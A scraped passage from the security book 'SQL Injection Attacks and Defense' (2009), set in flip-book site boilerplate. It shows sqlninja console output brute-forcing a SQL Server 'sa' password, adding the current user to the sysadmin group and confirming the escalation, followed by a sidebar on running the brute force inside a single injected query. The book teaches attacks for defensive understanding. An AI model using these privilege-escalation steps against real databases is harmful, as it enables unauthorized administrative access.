28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

[+] Bruteforcing the sa password. This might take a while<br />

dba password is…: s3cr3t<br />

bruteforce took 834 seconds<br />

[+] Trying to add current user to sysadmin group<br />

[+] Done! New connections will be run with administrative privileges!<br />

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 187<br />

Bingo! It seems that sqlninja found the right password, <strong>and</strong> used it to add the current<br />

user to the sysadmin group, as we can easily check by rerunning sqlninja in fingerprint<br />

mode:<br />

icesurfer@nightblade ~ $ ./sqlninja -m fingerprint<br />

Sqlninja rel. 0.2.3–r1<br />

Copyright (C) 2006–2008 icesurfer <br />

[+] Parsing configuration file...........<br />

[+] Target is: 192.168.240.10<br />

What do you want to discover ?<br />

0 – Database version (2000/2005)<br />

1 – Database user<br />

2 – Database user rights<br />

> 2<br />

[+] Checking whether user is member of sysadmin server role...<br />

You are an administrator !<br />

It worked! Our user now is an administrator, which opens up a lot of new scenarios.<br />

Tools & Traps...<br />

Using the Database’s Own Resources to Brute-Force<br />

The attack we just discussed performs one request to the back-end database for each<br />

c<strong>and</strong>idate password. This means that a very large number of requests will be<br />

performed, <strong>and</strong> this in turn means that a significant amount of network resources will<br />

be needed with a large number of entries appearing on the Web server <strong>and</strong> database<br />

server logs. However, this is not the only way that a brute-force attack can be<br />

performed: Using a bit of <strong>SQL</strong> magic, it is possible to inject a single query that<br />

independently performs the whole brute-force attack. The concept was first introduced<br />

by Chris Anley in his paper “(more) Advanced <strong>SQL</strong> injection” back in 2002, <strong>and</strong> it was<br />

then implemented by Bobcat <strong>and</strong> sqlninja.<br />

Continued

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!